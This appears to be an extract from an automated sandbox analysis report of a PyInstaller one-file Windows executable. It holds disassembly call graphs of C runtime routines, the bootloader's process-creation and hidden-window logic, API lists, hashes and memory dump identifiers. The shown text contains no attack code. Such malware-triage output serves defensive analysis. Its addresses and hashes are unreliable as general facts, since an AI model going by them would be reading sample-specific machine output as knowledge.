17009->17011 17010->17004 17011->17008 17012 7ff7fd74d66c _fread_nolock 12 API calls 17011->17012 17013 7ff7fd758e9d 17011->17013 17012->17013 17013->17008 17014 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17013->17014 17015 7ff7fd758f14 17014->17015 17016 7ff7fd758f1a 17015->17016 17017 7ff7fd758f34 17015->17017 17016->17008 17019 7ff7fd74a9b8 __free_lconv_num 11 API calls 17016->17019 17024 7ff7fd74efd8 17017->17024 17019->17008 17021 7ff7fd758f73 17021->17004 17023 7ff7fd74a9b8 __free_lconv_num 11 API calls 17021->17023 17022 7ff7fd74a9b8 __free_lconv_num 11 API calls 17022->17021 17023->17004 17025 7ff7fd74ed80 __crtLCMapStringW 5 API calls 17024->17025 17026 7ff7fd74f016 17025->17026 17027 7ff7fd74f01e 17026->17027 17028 7ff7fd74f240 __crtLCMapStringW 5 API calls 17026->17028 17027->17021 17027->17022 17029 7ff7fd74f087 CompareStringW 17028->17029 17029->17027 17031 7ff7fd757cca HeapSize 17030->17031 17032 7ff7fd757cb1 17030->17032 17033 7ff7fd744f78 _get_daylight 11 API calls 17032->17033 17034 7ff7fd757cb6 17033->17034 17035 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 17034->17035 17036 7ff7fd757cc1 17035->17036 17036->16651 17038 7ff7fd757cf9 17037->17038 17039 7ff7fd757d03 17037->17039 17040 7ff7fd74d66c _fread_nolock 12 API calls 17038->17040 17041 7ff7fd757d08 17039->17041 17047 7ff7fd757d0f _get_daylight 17039->17047 17045 7ff7fd757d01 17040->17045 17042 7ff7fd74a9b8 __free_lconv_num 11 API calls 17041->17042 17042->17045 17043 7ff7fd757d15 17046 7ff7fd744f78 _get_daylight 11 API calls 17043->17046 17044 7ff7fd757d42 HeapReAlloc 17044->17045 17044->17047 17045->16655 17046->17045 17047->17043 17047->17044 17048 7ff7fd753600 _get_daylight 2 API calls 17047->17048 17048->17047 17050 7ff7fd74ed80 __crtLCMapStringW 5 API calls 17049->17050 17051 7ff7fd74efb4 17050->17051 17051->16659 17053 7ff7fd74556a 17052->17053 17054 7ff7fd745546 17052->17054 17055 7ff7fd74556f 17053->17055 17056 7ff7fd7455c4 17053->17056 17057 7ff7fd745555 17054->17057 17059 7ff7fd74a9b8 __free_lconv_num 11 API calls 17054->17059 17055->17057 17060 7ff7fd745584 17055->17060 17061 7ff7fd74a9b8 __free_lconv_num 11 API calls 17055->17061 17058 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17056->17058 17057->16663 17057->16664 17066 7ff7fd7455e0 17058->17066 17059->17057 17062 7ff7fd74d66c _fread_nolock 12 API calls 17060->17062 17061->17060 17062->17057 17063 7ff7fd7455e7 GetLastError 17064 7ff7fd744eec _fread_nolock 11 API calls 17063->17064 17065 7ff7fd7455f4 17064->17065 17068 7ff7fd744f78 _get_daylight 11 API calls 17065->17068 17066->17063 17069 7ff7fd74a9b8 __free_lconv_num 11 API calls 17066->17069 17072 7ff7fd745615 17066->17072 17073 7ff7fd745622 17066->17073 17067 7ff7fd74f910 _fread_nolock MultiByteToWideChar 17071 7ff7fd745666 17067->17071 17068->17057 17069->17072 17070 7ff7fd74d66c _fread_nolock 12 API calls 17070->17073 17071->17057 17071->17063 17072->17070 17073->17057 17073->17067 17075 7ff7fd749295 17074->17075 17082 7ff7fd749291 17074->17082 17095 7ff7fd752aac GetEnvironmentStringsW 17075->17095 17078 7ff7fd7492ae 17102 7ff7fd7493fc 17078->17102 17079 7ff7fd7492a2 17080 7ff7fd74a9b8 __free_lconv_num 11 API calls 17079->17080 17080->17082 17082->16695 17087 7ff7fd74963c 17082->17087 17084 7ff7fd74a9b8 __free_lconv_num 11 API calls 17085 7ff7fd7492d5 17084->17085 17086 7ff7fd74a9b8 __free_lconv_num 11 API calls 17085->17086 17086->17082 17088 7ff7fd74965f 17087->17088 17094 7ff7fd749676 17087->17094 17088->16695 17089 7ff7fd74ec08 _get_daylight 11 API calls 17089->17094 17090 7ff7fd7496ea 17092 7ff7fd74a9b8 __free_lconv_num 11 API calls 17090->17092 17091 7ff7fd74f910 MultiByteToWideChar _fread_nolock 17091->17094 17092->17088 17093 7ff7fd74a9b8 __free_lconv_num 11 API calls 17093->17094 17094->17088 17094->17089 17094->17090 17094->17091 17094->17093 17096 7ff7fd74929a 17095->17096 17097 7ff7fd752ad0 17095->17097 17096->17078 17096->17079 17098 7ff7fd74d66c _fread_nolock 12 API calls 17097->17098 17099 7ff7fd752b07 memcpy_s 17098->17099 17100 7ff7fd74a9b8 __free_lconv_num 11 API calls 17099->17100 17101 7ff7fd752b27 FreeEnvironmentStringsW 17100->17101 17101->17096 17103 7ff7fd749424 17102->17103 17103->17103 17104 7ff7fd74ec08 _get_daylight 11 API calls 17103->17104 17116 7ff7fd74945f 17104->17116 17105 7ff7fd749467 17106 7ff7fd74a9b8 __free_lconv_num 11 API calls 17105->17106 17107 7ff7fd7492b6 17106->17107 17107->17084 17108 7ff7fd7494e1 17109 7ff7fd74a9b8 __free_lconv_num 11 API calls 17108->17109 17109->17107 17110 7ff7fd74ec08 _get_daylight 11 API calls 17110->17116 17111 7ff7fd7494d0 17112 7ff7fd749518 11 API calls 17111->17112 17114 7ff7fd7494d8 17112->17114 17113 7ff7fd7504e4 37 API calls 17113->17116 17115 7ff7fd74a9b8 __free_lconv_num 11 API calls 17114->17115 17115->17105 17116->17105 17116->17108 17116->17110 17116->17111 17116->17113 17117 7ff7fd749504 17116->17117 17119 7ff7fd74a9b8 __free_lconv_num 11 API calls 17116->17119 17118 7ff7fd74a970 _isindst 17 API calls 17117->17118 17120 7ff7fd749516 17118->17120 17119->17116 17122 7ff7fd758ba1 __crtLCMapStringW 17121->17122 17123 7ff7fd75715e 17122->17123 17124 7ff7fd74efd8 6 API calls 17122->17124 17123->16700 17123->16719 17124->17123 20346 7ff7fd73cbc0 20347 7ff7fd73cbd0 20346->20347 20363 7ff7fd749c18 20347->20363 20349 7ff7fd73cbdc 20369 7ff7fd73ceb8 20349->20369 20351 7ff7fd73cbf4 _RTC_Initialize 20361 7ff7fd73cc49 20351->20361 20374 7ff7fd73d068 20351->20374 20352 7ff7fd73d19c 7 API calls 20353 7ff7fd73cc75 20352->20353 20355 7ff7fd73cc09 20377 7ff7fd749084 20355->20377 20361->20352 20362 7ff7fd73cc65 20361->20362 20364 7ff7fd749c29 20363->20364 20365 7ff7fd749c31 20364->20365 20366 7ff7fd744f78 _get_daylight 11 API calls 20364->20366 20365->20349 20367 7ff7fd749c40 20366->20367 20368 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 20367->20368 20368->20365 20370 7ff7fd73cec9 20369->20370 20373 7ff7fd73cece __scrt_release_startup_lock 20369->20373 20371 7ff7fd73d19c 7 API calls 20370->20371 20370->20373 20372 7ff7fd73cf42 20371->20372 20373->20351 20402 7ff7fd73d02c 20374->20402 20376 7ff7fd73d071 20376->20355 20378 7ff7fd7490a4 20377->20378 20392 7ff7fd73cc15 20377->20392 20379 7ff7fd7490ac 20378->20379 20380 7ff7fd7490c2 GetModuleFileNameW 20378->20380 20381 7ff7fd744f78 _get_daylight 11 API calls 20379->20381 20384 7ff7fd7490ed 20380->20384 20382 7ff7fd7490b1 20381->20382 20383 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 20382->20383 20383->20392 20385 7ff7fd749024 11 API calls 20384->20385 20386 7ff7fd74912d 20385->20386 20387 7ff7fd749135 20386->20387 20391 7ff7fd74914d 20386->20391 20388 7ff7fd744f78 _get_daylight 11 API calls 20387->20388 20389 7ff7fd74913a 20388->20389 20390 7ff7fd74a9b8 __free_lconv_num 11 API calls 20389->20390 20390->20392 20394 7ff7fd74919b 20391->20394 20395 7ff7fd7491b4 20391->20395 20400 7ff7fd74916f 20391->20400 20392->20361 20401 7ff7fd73d13c InitializeSListHead 20392->20401 20393 7ff7fd74a9b8 __free_lconv_num 11 API calls 20393->20392 20396 7ff7fd74a9b8 __free_lconv_num 11 API calls 20394->20396 20398 7ff7fd74a9b8 __free_lconv_num 11 API calls 20395->20398 20397 7ff7fd7491a4 20396->20397 20399 7ff7fd74a9b8 __free_lconv_num 11 API calls 20397->20399 20398->20400 20399->20392 20400->20393 20403 7ff7fd73d046 20402->20403 20405 7ff7fd73d03f 20402->20405 20406 7ff7fd74a25c 20403->20406 20405->20376 20409 7ff7fd749e98 20406->20409 20416 7ff7fd750348 EnterCriticalSection 20409->20416 20208 7ff7fd74b040 20209 7ff7fd74b045 20208->20209 20210 7ff7fd74b05a 20208->20210 20214 7ff7fd74b060 20209->20214 20215 7ff7fd74b0aa 20214->20215 20216 7ff7fd74b0a2 20214->20216 20218 7ff7fd74a9b8 __free_lconv_num 11 API calls 20215->20218 20217 7ff7fd74a9b8 __free_lconv_num 11 API calls 20216->20217 20217->20215 20219 7ff7fd74b0b7 20218->20219 20220 7ff7fd74a9b8 __free_lconv_num 11 API calls 20219->20220 20221 7ff7fd74b0c4 20220->20221 20222 7ff7fd74a9b8 __free_lconv_num 11 API calls 20221->20222 20223 7ff7fd74b0d1 20222->20223 20224 7ff7fd74a9b8 __free_lconv_num 11 API calls 20223->20224 20225 7ff7fd74b0de 20224->20225 20226 7ff7fd74a9b8 __free_lconv_num 11 API calls 20225->20226 20227 7ff7fd74b0eb 20226->20227 20228 7ff7fd74a9b8 __free_lconv_num 11 API calls 20227->20228 20229 7ff7fd74b0f8 20228->20229 20230 7ff7fd74a9b8 __free_lconv_num 11 API calls 20229->20230 20231 7ff7fd74b105 20230->20231 20232 7ff7fd74a9b8 __free_lconv_num 11 API calls 20231->20232 20233 7ff7fd74b115 20232->20233 20234 7ff7fd74a9b8 __free_lconv_num 11 API calls 20233->20234 20235 7ff7fd74b125 20234->20235 20240 7ff7fd74af04 20235->20240 20254 7ff7fd750348 EnterCriticalSection 20240->20254 20420 7ff7fd749dc0 20423 7ff7fd749d3c 20420->20423 20430 7ff7fd750348 EnterCriticalSection 20423->20430 20256 7ff7fd75ac53 20257 7ff7fd75ac63 20256->20257 20260 7ff7fd7454e8 LeaveCriticalSection 20257->20260 19561 7ff7fd73bb50 19562 7ff7fd73bb7e 19561->19562 19563 7ff7fd73bb65 19561->19563 19563->19562 19565 7ff7fd74d66c 12 API calls 19563->19565 19564 7ff7fd73bbde 19565->19564 19566 7ff7fd7499d1 19567 7ff7fd74a448 45 API calls 19566->19567 19568 7ff7fd7499d6 19567->19568 19569 7ff7fd7499fd GetModuleHandleW 19568->19569 19570 7ff7fd749a47 19568->19570 19569->19570 19576 7ff7fd749a0a 19569->19576 19578 7ff7fd7498d4 19570->19578 19576->19570 19592 7ff7fd749af8 GetModuleHandleExW 19576->19592 19598 7ff7fd750348 EnterCriticalSection 19578->19598 19593 7ff7fd749b2c GetProcAddress 19592->19593 19594 7ff7fd749b55 19592->19594 19595 7ff7fd749b3e 19593->19595 19596 7ff7fd749b5a FreeLibrary 19594->19596 19597 7ff7fd749b61 19594->19597 19595->19594 19596->19597 19597->19570 20467 7ff7fd75add9 20470 7ff7fd7454e8 LeaveCriticalSection 20467->20470 20262 7ff7fd75ae6e 20263 7ff7fd75ae7d 20262->20263 20264 7ff7fd75ae87 20262->20264 20266 7ff7fd7503a8 LeaveCriticalSection 20263->20266 15942 7ff7fd74f9fc 15943 7ff7fd74fbee 15942->15943 15946 7ff7fd74fa3e _isindst 15942->15946 15994 7ff7fd744f78 15943->15994 15945 7ff7fd74fbde 15997 7ff7fd73c5c0 15945->15997 15946->15943 15949 7ff7fd74fabe _isindst 15946->15949 15963 7ff7fd756204 15949->15963 15954 7ff7fd74fc1a 16006 7ff7fd74a970 IsProcessorFeaturePresent 15954->16006 15961 7ff7fd74fb1b 15961->15945 15987 7ff7fd756248 15961->15987 15964 7ff7fd756213 15963->15964 15965 7ff7fd74fadc 15963->15965 16010 7ff7fd750348 EnterCriticalSection 15964->16010 15969 7ff7fd755608 15965->15969 15970 7ff7fd74faf1 15969->15970 15971 7ff7fd755611 15969->15971 15970->15954 15975 7ff7fd755638 15970->15975 15972 7ff7fd744f78 _get_daylight 11 API calls 15971->15972 15973 7ff7fd755616 15972->15973 16011 7ff7fd74a950 15973->16011 15976 7ff7fd74fb02 15975->15976 15977 7ff7fd755641 15975->15977 15976->15954 15981 7ff7fd755668 15976->15981 15978 7ff7fd744f78 _get_daylight 11 API calls 15977->15978 15979 7ff7fd755646 15978->15979 15980 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 15979->15980 15980->15976 15982 7ff7fd74fb13 15981->15982 15983 7ff7fd755671 15981->15983 15982->15954 15982->15961 15984 7ff7fd744f78 _get_daylight 11 API calls 15983->15984 15985 7ff7fd755676 15984->15985 15986 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 15985->15986 15986->15982 16097 7ff7fd750348 EnterCriticalSection 15987->16097 16098 7ff7fd74b338 GetLastError 15994->16098 15996 7ff7fd744f81 15996->15945 15998 7ff7fd73c5c9 15997->15998 15999 7ff7fd73c5d4 15998->15999 16000 7ff7fd73c950 IsProcessorFeaturePresent 15998->16000 16001 7ff7fd73c968 16000->16001 16115 7ff7fd73cb48 RtlCaptureContext 16001->16115 16007 7ff7fd74a983 16006->16007 16120 7ff7fd74a684 16007->16120 16014 7ff7fd74a7e8 16011->16014 16013 7ff7fd74a969 16013->15970 16015 7ff7fd74a813 16014->16015 16018 7ff7fd74a884 16015->16018 16017 7ff7fd74a83a 16017->16013 16028 7ff7fd74a5cc 16018->16028 16022 7ff7fd74a8bf 16022->16017 16024 7ff7fd74a970 _isindst 17 API calls 16025 7ff7fd74a94f 16024->16025 16026 7ff7fd74a7e8 _invalid_parameter_noinfo 37 API calls 16025->16026 16027 7ff7fd74a969 16026->16027 16027->16017 16029 7ff7fd74a5e8 GetLastError 16028->16029 16030 7ff7fd74a623 16028->16030 16031 7ff7fd74a5f8 16029->16031 16030->16022 16034 7ff7fd74a638 16030->16034 16037 7ff7fd74b400 16031->16037 16035 7ff7fd74a66c 16034->16035 16036 7ff7fd74a654 GetLastError SetLastError 16034->16036 16035->16022 16035->16024 16036->16035 16038 7ff7fd74b43a FlsSetValue 16037->16038 16039 7ff7fd74b41f FlsGetValue 16037->16039 16040 7ff7fd74a613 SetLastError 16038->16040 16042 7ff7fd74b447 16038->16042 16039->16040 16041 7ff7fd74b434 16039->16041 16040->16030 16041->16038 16054 7ff7fd74ec08 16042->16054 16045 7ff7fd74b474 FlsSetValue 16048 7ff7fd74b480 FlsSetValue 16045->16048 16049 7ff7fd74b492 16045->16049 16046 7ff7fd74b464 FlsSetValue 16047 7ff7fd74b46d 16046->16047 16063 7ff7fd74a9b8 16047->16063 16048->16047 16069 7ff7fd74af64 16049->16069 16055 7ff7fd74ec19 16054->16055 16061 7ff7fd74ec27 _get_daylight 16054->16061 16056 7ff7fd74ec6a 16055->16056 16055->16061 16059 7ff7fd744f78 _get_daylight 10 API calls 16056->16059 16057 7ff7fd74ec4e HeapAlloc 16058 7ff7fd74ec68 16057->16058 16057->16061 16060 7ff7fd74b456 16058->16060 16059->16060 16060->16045 16060->16046 16061->16056 16061->16057 16074 7ff7fd753600 16061->16074 16064 7ff7fd74a9bd RtlFreeHeap 16063->16064 16065 7ff7fd74a9ec 16063->16065 16064->16065 16066 7ff7fd74a9d8 GetLastError 16064->16066 16065->16040 16067 7ff7fd74a9e5 __free_lconv_num 16066->16067 16068 7ff7fd744f78 _get_daylight 9 API calls 16067->16068 16068->16065 16083 7ff7fd74ae3c 16069->16083 16077 7ff7fd753640 16074->16077 16082 7ff7fd750348 EnterCriticalSection 16077->16082 16095 7ff7fd750348 EnterCriticalSection 16083->16095 16099 7ff7fd74b379 FlsSetValue 16098->16099 16100 7ff7fd74b35c 16098->16100 16101 7ff7fd74b38b 16099->16101 16104 7ff7fd74b369 16099->16104 16100->16099 16100->16104 16103 7ff7fd74ec08 _get_daylight 5 API calls 16101->16103 16102 7ff7fd74b3e5 SetLastError 16102->15996 16105 7ff7fd74b39a 16103->16105 16104->16102 16106 7ff7fd74b3b8 FlsSetValue 16105->16106 16107 7ff7fd74b3a8 FlsSetValue 16105->16107 16108 7ff7fd74b3c4 FlsSetValue 16106->16108 16109 7ff7fd74b3d6 16106->16109 16110 7ff7fd74b3b1 16107->16110 16108->16110 16111 7ff7fd74af64 _get_daylight 5 API calls 16109->16111 16112 7ff7fd74a9b8 __free_lconv_num 5 API calls 16110->16112 16113 7ff7fd74b3de 16111->16113 16112->16104 16114 7ff7fd74a9b8 __free_lconv_num 5 API calls 16113->16114 16114->16102 16116 7ff7fd73cb62 RtlLookupFunctionEntry 16115->16116 16117 7ff7fd73cb78 RtlVirtualUnwind 16116->16117 16118 7ff7fd73c97b 16116->16118 16117->16116 16117->16118 16119 7ff7fd73c910 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 16118->16119 16121 7ff7fd74a6be __CxxCallCatchBlock memcpy_s 16120->16121 16122 7ff7fd74a6e6 RtlCaptureContext RtlLookupFunctionEntry 16121->16122 16123 7ff7fd74a756 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 16122->16123 16124 7ff7fd74a720 RtlVirtualUnwind 16122->16124 16125 7ff7fd74a7a8 __CxxCallCatchBlock 16123->16125 16124->16123 16126 7ff7fd73c5c0 _log10_special 8 API calls 16125->16126 16127 7ff7fd74a7c7 GetCurrentProcess TerminateProcess 16126->16127 20280 7ff7fd745480 20281 7ff7fd74548b 20280->20281 20289 7ff7fd74f314 20281->20289 20302 7ff7fd750348 EnterCriticalSection 20289->20302 20689 7ff7fd74c590 20700 7ff7fd750348 EnterCriticalSection 20689->20700

                                                                                                                                                                                                                                              Executed Functions

                                                                                                                                                                                                                                              Function 00007FF7FD738BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257synchronizationwindowregistryCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 0 7ff7fd738bd0-7ff7fd738d16 call 7ff7fd73c8c0 call 7ff7fd739400 SetConsoleCtrlHandler GetStartupInfoW call 7ff7fd745460 call 7ff7fd74a4ec call 7ff7fd74878c call 7ff7fd745460 call 7ff7fd74a4ec call 7ff7fd74878c call 7ff7fd745460 call 7ff7fd74a4ec call 7ff7fd74878c GetCommandLineW CreateProcessW 23 7ff7fd738d18-7ff7fd738d38 GetLastError call 7ff7fd732c50 0->23 24 7ff7fd738d3d-7ff7fd738d79 RegisterClassW 0->24 32 7ff7fd739029-7ff7fd73904f call 7ff7fd73c5c0 23->32 26 7ff7fd738d7b GetLastError 24->26 27 7ff7fd738d81-7ff7fd738dd5 CreateWindowExW 24->27 26->27 28 7ff7fd738dd7-7ff7fd738ddd GetLastError 27->28 29 7ff7fd738ddf-7ff7fd738de4 ShowWindow 27->29 31 7ff7fd738dea-7ff7fd738dfa WaitForSingleObject 28->31 29->31 33 7ff7fd738e78-7ff7fd738e7f 31->33 34 7ff7fd738dfc 31->34 38 7ff7fd738ec2-7ff7fd738ec9 33->38 39 7ff7fd738e81-7ff7fd738e91 WaitForSingleObject 33->39 37 7ff7fd738e00-7ff7fd738e03 34->37 42 7ff7fd738e0b-7ff7fd738e12 37->42 43 7ff7fd738e05 GetLastError 37->43 40 7ff7fd738fb0-7ff7fd738fc9 GetMessageW 38->40 41 7ff7fd738ecf-7ff7fd738ee5 QueryPerformanceFrequency QueryPerformanceCounter 38->41 44 7ff7fd738fe8-7ff7fd738ff2 39->44 45 7ff7fd738e97-7ff7fd738ea7 TerminateProcess 39->45 48 7ff7fd738fcb-7ff7fd738fd9 TranslateMessage DispatchMessageW 40->48 49 7ff7fd738fdf-7ff7fd738fe6 40->49 46 7ff7fd738ef0-7ff7fd738f28 MsgWaitForMultipleObjects PeekMessageW 41->46 42->39 47 7ff7fd738e14-7ff7fd738e31 PeekMessageW 42->47 43->42 50 7ff7fd739001-7ff7fd739025 GetExitCodeProcess CloseHandle * 2 44->50 51 7ff7fd738ff4-7ff7fd738ffa DestroyWindow 44->51 52 7ff7fd738ea9 GetLastError 45->52 53 7ff7fd738eaf-7ff7fd738ebd WaitForSingleObject 45->53 54 7ff7fd738f2a 46->54 55 7ff7fd738f63-7ff7fd738f6a 46->55 56 7ff7fd738e66-7ff7fd738e76 WaitForSingleObject 47->56 57 7ff7fd738e33-7ff7fd738e64 TranslateMessage DispatchMessageW PeekMessageW 47->57 48->49 49->40 49->44 50->32 51->50 52->53 53->44 58 7ff7fd738f30-7ff7fd738f61 TranslateMessage DispatchMessageW PeekMessageW 54->58 55->40 59 7ff7fd738f6c-7ff7fd738f95 QueryPerformanceCounter 55->59 56->33 56->37 57->56 57->57 58->55 58->58 59->46 60 7ff7fd738f9b-7ff7fd738fa2 59->60 60->44 61 7ff7fd738fa4-7ff7fd738fa8 60->61 61->40
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
                                                                                                                                                                                                                                              • String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
                                                                                                                                                                                                                                              • API String ID: 3832162212-3165540532
                                                                                                                                                                                                                                              • Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                              • Instruction ID: 0c5f4aee0458cc50275a8134f333353b6dfe19cad6005861c598777ff1754bf4
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E2D17232A0CA8286EB50AF74E8543B9B760FB88758F800235DA6D5B6D4EF3CD54587E1
                                                                                                                                                                                                                                              Function 00007FF7FD731000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 62 7ff7fd731000-7ff7fd733806 call 7ff7fd73fe88 call 7ff7fd73fe90 call 7ff7fd73c8c0 call 7ff7fd745460 call 7ff7fd7454f4 call 7ff7fd7336b0 76 7ff7fd733808-7ff7fd73380f 62->76 77 7ff7fd733814-7ff7fd733836 call 7ff7fd731950 62->77 78 7ff7fd733c97-7ff7fd733cb2 call 7ff7fd73c5c0 76->78 82 7ff7fd73391b-7ff7fd733931 call 7ff7fd7345b0 77->82 83 7ff7fd73383c-7ff7fd733856 call 7ff7fd731c80 77->83 89 7ff7fd73396a-7ff7fd73397f call 7ff7fd732710 82->89 90 7ff7fd733933-7ff7fd733960 call 7ff7fd737f80 82->90 87 7ff7fd73385b-7ff7fd73389b call 7ff7fd738a20 83->87 97 7ff7fd73389d-7ff7fd7338a3 87->97 98 7ff7fd7338c1-7ff7fd7338cc call 7ff7fd744fa0 87->98 102 7ff7fd733c8f 89->102 100 7ff7fd733962-7ff7fd733965 call 7ff7fd7400bc 90->100 101 7ff7fd733984-7ff7fd7339a6 call 7ff7fd731c80 90->101 103 7ff7fd7338af-7ff7fd7338bd call 7ff7fd738b90 97->103 104 7ff7fd7338a5-7ff7fd7338ad 97->104 109 7ff7fd7339fc-7ff7fd733a06 call 7ff7fd738b30 98->109 110 7ff7fd7338d2-7ff7fd7338e1 call 7ff7fd738a20 98->110 100->89 115 7ff7fd7339b0-7ff7fd7339b9 101->115 102->78 103->98 104->103 117 7ff7fd733a0b-7ff7fd733a2a call 7ff7fd738b90 * 3 109->117 119 7ff7fd7338e7-7ff7fd7338ed 110->119 120 7ff7fd7339f4-7ff7fd7339f7 call 7ff7fd744fa0 110->120 115->115 118 7ff7fd7339bb-7ff7fd7339d8 call 7ff7fd731950 115->118 138 7ff7fd733a2f-7ff7fd733a3e call 7ff7fd738a20 117->138 118->87 130 7ff7fd7339de-7ff7fd7339ef call 7ff7fd732710 118->130 124 7ff7fd7338f0-7ff7fd7338fc 119->124 120->109 127 7ff7fd7338fe-7ff7fd733903 124->127 128 7ff7fd733905-7ff7fd733908 124->128 127->124 127->128 128->120 132 7ff7fd73390e-7ff7fd733916 call 7ff7fd744fa0 128->132 130->102 132->138 141 7ff7fd733b45-7ff7fd733b53 138->141 142 7ff7fd733a44-7ff7fd733a47 138->142 144 7ff7fd733b59-7ff7fd733b5d 141->144 145 7ff7fd733a67 141->145 142->141 143 7ff7fd733a4d-7ff7fd733a50 142->143 146 7ff7fd733a56-7ff7fd733a5a 143->146 147 7ff7fd733b14-7ff7fd733b17 143->147 148 7ff7fd733a6b-7ff7fd733a90 call 7ff7fd744fa0 144->148 145->148 146->147 149 7ff7fd733a60 146->149 150 7ff7fd733b19-7ff7fd733b1d 147->150 151 7ff7fd733b2f-7ff7fd733b40 call 7ff7fd732710 147->151 157 7ff7fd733aab-7ff7fd733ac0 148->157 158 7ff7fd733a92-7ff7fd733aa6 call 7ff7fd738b30 148->158 149->145 150->151 153 7ff7fd733b1f-7ff7fd733b2a 150->153 159 7ff7fd733c7f-7ff7fd733c87 151->159 153->148 161 7ff7fd733be8-7ff7fd733bfa call 7ff7fd738a20 157->161 162 7ff7fd733ac6-7ff7fd733aca 157->162 158->157 159->102 170 7ff7fd733c2e 161->170 171 7ff7fd733bfc-7ff7fd733c02 161->171 164 7ff7fd733bcd-7ff7fd733be2 call 7ff7fd731940 162->164 165 7ff7fd733ad0-7ff7fd733ae8 call 7ff7fd7452c0 162->165 164->161 164->162 176 7ff7fd733aea-7ff7fd733b02 call 7ff7fd7452c0 165->176 177 7ff7fd733b62-7ff7fd733b7a call 7ff7fd7452c0 165->177 173 7ff7fd733c31-7ff7fd733c40 call 7ff7fd744fa0 170->173 174 7ff7fd733c1e-7ff7fd733c2c 171->174 175 7ff7fd733c04-7ff7fd733c1c 171->175 185 7ff7fd733d41-7ff7fd733d63 call 7ff7fd7344d0 173->185 186 7ff7fd733c46-7ff7fd733c4a 173->186 174->173 175->173 176->164 184 7ff7fd733b08-7ff7fd733b0f 176->184 187 7ff7fd733b87-7ff7fd733b9f call 7ff7fd7452c0 177->187 188 7ff7fd733b7c-7ff7fd733b80 177->188 184->164 201 7ff7fd733d71-7ff7fd733d82 call 7ff7fd731c80 185->201 202 7ff7fd733d65-7ff7fd733d6f call 7ff7fd734620 185->202 189 7ff7fd733c50-7ff7fd733c5f call 7ff7fd7390e0 186->189 190 7ff7fd733cd4-7ff7fd733ce6 call 7ff7fd738a20 186->190 197 7ff7fd733bac-7ff7fd733bc4 call 7ff7fd7452c0 187->197 198 7ff7fd733ba1-7ff7fd733ba5 187->198 188->187 204 7ff7fd733c61 189->204 205 7ff7fd733cb3-7ff7fd733cb6 call 7ff7fd738850 189->205 206 7ff7fd733ce8-7ff7fd733ceb 190->206 207 7ff7fd733d35-7ff7fd733d3c 190->207 197->164 217 7ff7fd733bc6 197->217 198->197 215 7ff7fd733d87-7ff7fd733d96 201->215 202->215 212 7ff7fd733c68 call 7ff7fd732710 204->212 216 7ff7fd733cbb-7ff7fd733cbd 205->216 206->207 213 7ff7fd733ced-7ff7fd733d10 call 7ff7fd731c80 206->213 207->212 225 7ff7fd733c6d-7ff7fd733c77 212->225 230 7ff7fd733d2b-7ff7fd733d33 call 7ff7fd744fa0 213->230 231 7ff7fd733d12-7ff7fd733d26 call 7ff7fd732710 call 7ff7fd744fa0 213->231 220 7ff7fd733d98-7ff7fd733d9f 215->220 221 7ff7fd733dc4-7ff7fd733dda call 7ff7fd739400 215->221 223 7ff7fd733cc8-7ff7fd733ccf 216->223 224 7ff7fd733cbf-7ff7fd733cc6 216->224 217->164 220->221 227 7ff7fd733da1-7ff7fd733da5 220->227 233 7ff7fd733de8-7ff7fd733e04 SetDllDirectoryW 221->233 234 7ff7fd733ddc 221->234 223->215 224->212 225->159 227->221 228 7ff7fd733da7-7ff7fd733dbe SetDllDirectoryW LoadLibraryExW 227->228 228->221 230->215 231->225 237 7ff7fd733e0a-7ff7fd733e19 call 7ff7fd738a20 233->237 238 7ff7fd733f01-7ff7fd733f08 